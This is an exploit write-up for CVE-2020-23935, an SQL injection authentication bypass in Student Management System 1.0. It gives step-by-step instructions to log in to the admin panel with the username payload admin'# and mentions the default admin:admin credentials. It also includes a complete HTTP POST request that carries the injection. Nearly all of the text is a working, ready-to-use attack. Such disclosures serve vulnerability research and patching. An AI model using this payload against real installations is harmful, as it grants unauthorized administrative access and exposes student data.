# Exploit Title: Student Management System 1.0 - SQLi Authentication Bypass # Date: 2020-07-06 # Exploit Author: Enes Özeser # Vendor Homepage: https://www.sourcecodester.com/php/14268/student-management-system.html # Version: 1.0 # Tested on: Windows & WampServer # CVE: CVE-2020-23935 1- Go to following url. >> http://(HOST)/admin/login.php 2- We can login succesfully with SQL bypass method. -- Username = admin'# -- Password = (Write Something) NOTE: Default username and password is admin:admin. (( HTTP Request )) POST /process.php HTTP/1.1 Host: (HOST) Connection: keep-alive Content-Length: 51 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://(HOST)/ Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://(HOST)/index.php?q=login Accept-Encoding: gzip, deflate, br Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: navigate-tinymce-scroll=%7B%7D; navigate-language=en; PHPSESSID=1asdsd3lf9u2d7e82on6rjl U_USERNAME=admin'#&U_PASS=123123&sidebarLogin=